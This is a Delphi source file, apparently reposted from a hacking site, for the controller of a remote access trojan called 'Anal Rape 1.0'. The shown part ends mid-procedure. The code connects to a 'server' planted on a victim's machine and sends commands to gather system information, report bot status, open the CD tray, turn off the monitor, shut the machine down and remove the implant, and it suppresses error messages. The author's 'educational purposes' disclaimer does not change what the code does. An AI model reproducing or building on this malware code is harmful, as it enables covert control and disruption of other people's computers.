unit1.pas

国外的远程控制源码,国内首发~~~我看到了就转过来了~

{
        Thanks for downloading the Anal Rape 1.0 source code, coded by Otis!

        Nick: Otis
        Crew: Imafraid (http://www.imafraid.com)
        Status: Inactive Coder (busy with college)

        This file should be downloaded ONLY from the following sites:

        http://www.imafraid.com/
        http://sourceb0x.com/
        http://tehboxxen.com/  <--- otis's home

        This source is for educational purposes, and is not meant to do any
        damage, although if it does, it isnt my fault! :P

        If you have any questions, email:

        [e-mail]

        ONE LAST MESSAGE:

        For cheap quality hosting, visit http://hostmecheap.net/
}

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls, ExtCtrls, ScktComp, TFlatButtonUnit,
  TFlatEditUnit, TFlatMemoUnit, shellapi, Unit2;

type
  TForm1 = class(TForm)
    ClientSocket1: TClientSocket;
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    TabSheet4: TTabSheet;
    Edit1: TFlatEdit;
    Edit2: TFlatEdit;
    Button1: TFlatButton;
    Button3: TFlatButton;
    Button2: TFlatButton;
    Button4: TFlatButton;
    Memo1: TFlatMemo;
    FlatEdit1: TFlatEdit;
    FlatEdit2: TFlatEdit;
    Button6: TFlatButton;
    Button7: TFlatButton;
    Button5: TFlatButton;
    Button17: TFlatButton;
    Button8: TFlatButton;
    Button9: TFlatButton;
    Button10: TFlatButton;
    Button12: TFlatButton;
    Button14: TFlatButton;
    Button11: TFlatButton;
    Button13: TFlatButton;
    Button15: TFlatButton;
    FlatButton1: TFlatButton;
    FlatButton2: TFlatButton;
    FlatButton3: TFlatButton;
    FlatButton4: TFlatButton;
    FlatButton5: TFlatButton;
    FlatEdit3: TFlatEdit;
    FlatButton6: TFlatButton;
    FlatEdit4: TFlatEdit;
    FlatButton7: TFlatButton;
    FlatEdit5: TFlatEdit;
    FlatButton8: TFlatButton;
    FlatEdit6: TFlatEdit;
    FlatButton9: TFlatButton;
    FlatEdit7: TFlatEdit;
    FlatButton10: TFlatButton;
    FlatEdit8: TFlatEdit;
    AboutButton: TFlatButton;
    Button16: TFlatButton;
    procedure Button3Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
 
    procedure ClientSocket1Connect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Connecting(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Disconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
   
    procedure Button5Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button8Click(Sender: TObject);
    procedure Button9Click(Sender: TObject);
    procedure Button10Click(Sender: TObject);
    procedure Button11Click(Sender: TObject);
    procedure Button12Click(Sender: TObject);
    procedure Button13Click(Sender: TObject);
    procedure Button14Click(Sender: TObject);
    procedure Button15Click(Sender: TObject);
    procedure Button16Click(Sender: TObject);
    procedure Button17Click(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure clicked(Sender: TObject);
    procedure changed(Sender: TObject);
    procedure FlatButton1Click(Sender: TObject);
    procedure FlatButton2Click(Sender: TObject);
    procedure FlatButton3Click(Sender: TObject);
    procedure FlatButton4Click(Sender: TObject);
    procedure FlatButton5Click(Sender: TObject);
    procedure FlatButton6Click(Sender: TObject);
    procedure FlatButton7Click(Sender: TObject);
    procedure FlatButton8Click(Sender: TObject);
    procedure FlatButton9Click(Sender: TObject);
    procedure FlatButton10Click(Sender: TObject);
    procedure FlatButton11Click(Sender: TObject);
    procedure FlatButton12Click(Sender: TObject);
    procedure Button18Click(Sender: TObject);
    procedure AboutButtonClick(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button3Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
//form1.Memo1.Lines:=nil;
flatedit1.text := 'Getting Server Info';
clientsocket1.Socket.SendText('1|');

//01 will get verified by server as "get server info"

end;

procedure TForm1.Button2Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//set caption on label that we are getting info
//form1.Memo1.Lines:=nil;
flatedit1.text := 'Getting Computer Info';
clientsocket1.Socket.SendText('2|');

//02 will get verified by server as "get comp info"

end;

procedure TForm1.Button4Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//set caption on label that we are removing
flatedit1.text := 'Removing Server';
clientsocket1.Socket.SendText('3|');
clientsocket1.Active := false;
flatedit1.text := 'Server Removed';

//03 will get verified by server as "Remove server"

end;



procedure TForm1.ClientSocket1Connect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
//set label1 @ connected
flatedit1.text := 'Connected';
button1.caption := 'Abort';
end;

procedure TForm1.ClientSocket1Connecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
//set label1 @ connecting
flatedit1.text := 'Connecting';
end;

procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
//set label1 @ disconnected
flatedit1.text := 'Disconnected';
button1.caption := 'Connect';
end;

procedure TForm1.ClientSocket1Error(Sender: TObject;
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
  var ErrorCode: Integer);
begin
errorcode := 0; // <-- refusees to show an error box.
flatedit1.text := 'Disconnected'; //set label1 @ disconnected
button1.caption := 'Connect';
end;

procedure TForm1.ClientSocket1Read(Sender: TObject;
  Socket: TCustomWinSocket);
var
 incom:string;
 data1:integer;
 data2:string;
begin
 incom := socket.ReceiveText;
 data1 := strtoint(copy(incom,0,pos('|', incom)-1));                            //gets first 2 no's
 data2 := copy(incom,pos('|',incom)+1,length(incom));  //gets everything AFTER "|"

 case data1 of
  1:memo1.Text := data2;
  2:memo1.text := data2;
  3:FlatButton3.Caption := 'Bot Status: ' + data2;
  4:FlatEdit3.Text := copy(data2,0,length(data2)-1);
  5:FlatEdit4.Text := copy(data2,0,length(data2)-1);
  6:FlatEdit5.Text := copy(data2,0,length(data2)-1);
  7:FlatEdit8.Text := copy(data2,0,length(data2)-1);
  8:ShowMessage(copy(data2,0,length(data2)-1));
 end;
end;



procedure TForm1.Button5Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Closing CD';
clientsocket1.Socket.SendText('4|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Opening CD';
clientsocket1.Socket.SendText('5|');

//01 will get verified by server as "get server info"

end;

procedure TForm1.Button7Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Crazy CD Started';
clientsocket1.Socket.SendText('6|');

//01 will get verified by server as "get server info"
end;


procedure TForm1.Button8Click(Sender: TObject);
begin
 //check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Monitor Turned On';
clientsocket1.Socket.SendText('8|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button9Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Monitor Off';
clientsocket1.Socket.SendText('7|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button10Click(Sender: TObject);
begin
 //check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too
//set caption on label that we are getting info
flatedit1.text := 'Shutting Down';
clientsocket1.Socket.SendText('9|');

//01 will get verified by server as "get server info"
end;

procedure TForm1.Button11Click(Sender: TObject);
begin
//check if connected
 if clientsocket1.Active = false then exit;
//if we aint, we just skip function.
//but now we are connect so proceed with function

//we wanted server info, and we get server info too